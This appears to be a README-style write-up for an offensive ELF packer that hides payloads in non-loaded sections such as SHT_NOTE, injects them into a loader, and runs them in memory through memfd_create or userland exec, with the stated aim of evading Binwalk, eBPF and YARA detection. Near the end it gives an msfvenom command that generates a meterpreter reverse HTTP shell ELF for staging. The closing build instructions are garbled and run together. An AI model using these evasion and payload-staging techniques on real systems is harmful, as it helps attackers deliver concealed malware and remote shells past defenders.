
.data.payload.h:
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
Achieved manually or with tools like bin2c or xxd -i payload.bin > payload.h with further header inclusion.
Storing payloads in .text and .data in a generic fashion is also a bad idea due to ease of loading tracing,and introspection of behavioral semantics of loading data for execution.
__attribute__'s. This is a bit better but still well traceable due to how ELF is created and loaded.char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* Initialize stack pointer */
init_sp (stack + sizeof (stack));
/* Initialize initialized data */
memcpy (&init_data, &data, &edata - &data);
}
Assembler dependent .incbin-like directive can create a section and embed a payload.
Ex: gcc -c payload.s or ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
With further retrieval in loader as:
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
Note: We can include a fully functional ELF in the payload.bin which is important when it comes to creating "fat" binaries, containing elements of several toolkits.
Note:: More ergonomic tools exist to accomplish the task, like INCBIN from @graphitemaster [link]
A variation on the theme is inline ASM like so:
/* Raw image data for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* Image structures for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
Note: Notice PROGBITS in definition of a section, it will be important.
Compiler/linker-based paylaod binary inclusion is not ideal
There are tradeoffs:

Type of section and flags set on the new section containing determine whether OS loader loads it in the memory upon executable launch. Some sections are loaded automatically by default, others are not (e.g. .symtab, .strtab)
As offense, what effciencies can we get from that?
We can avoid setting flags on sections that assume default loading in memory.
We can use a different type of section that does not load in memory.
A vendor or system engineer might need to mark an object file with special information that other programs can check for conformance or compatibility. Sections of type
SHT_NOTEand program header elements of typePT_NOTEcan be used for this purpose.
In a latter case, we can see the use of this type of section in system binaries:
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
And can inspect their content:
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
The end result of creating a SHT_NOTE section will look like this in the ELF:

Bonus: SHT_NOTE gets us structure if we need to use it ( and we will use it further):

So far we were able to create a section, avoid loading it in memory by the OS loader. The section is effectively dormant in the ELF image at the moment. We will discuss how we load it a bit later. However, a more pressing question is the fact that we are still operating at the compiler and linker level, and section is an object that gets woven into the structure of the final ELF, creating relationships and memory addresses from the loader code that references it's content.

What if we were able to create an ELF section with embedded payload outside of the loader compilation workflow, and attach that section at a later time to the loader binary.
This would break the relationship of the loader code with the section interaction. Then we teach the loader how to find and load it's foreign data section, effectively "docking" a payload to a loader in a loosely coupled manner.
Conceptually, our goals would be:
The loader/payload (in section) relationship would now look like this:

We can then create an injector which will introduce a payload section to the loader without either one operating at code level, only binary compatibility (and loader being aware how to load any payload section)

Some outcomes from such generic ELF section docking setup:
Static Elf loader can then be shipped on its own, devoid of payloads, only mechanisms to load a section on demand and bootstrap the payload from it.
Payload can be packaged separately and bundled with loader at any time as a static stage, or at a later time with an injector. The payload can often be encrypted, often be an ELF executable itself if needed, as long as the loader knows not the structure of the payload but it's packaging capabilities only.
Injector can broker attachment of sections from several binaries (dormant stages) to construct a section and inject into the loader.
There are advantages for section level construction vs. packing of multiple resources in executable. There is no overhead on detection for packer processing and code. There are wins in terms of carrying multiple sections with other tooling that relies on in-memory launch and cannot be easily packed due to how packers have to extract binaries into filesystem. (Far binaries section further)
Let's discuss the ELF section docking components in greater detail.
Disposition: rear or in-field Advantages:
Disposition: in-field Advantages:
Advantages:
Strengthening ELF sectional injector/packer:
Strengthening ELF loader:
A few words on the ELF sectional loader working with the payload launcher:
Loader can utilize one of two in-memory payload execution mechanisms:
Option A : SYS_Memfd_create ()
Option B: User land Exec (https://grugq.github.io/docs/ul_exec.txt)
Workflow run:

Binwalk's evasion opportunities after ELF sectional payload vs. MSF payload:

eBPF evasion vs. ELF sectional packer:

YARA Verifier and tests:


STIX tooling definition:

cmake --configure . to configure your build environment. We support CMAke 3.18 atm../build.shhttps://github.com/rapid7/mettlevendor/lib/reflect/libreflect.a but can be rebuilt from the original repo if needed.bpftrace polease install appropriate kernel headers for your distribution.run.shaux/msfrc RC file likes so:msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]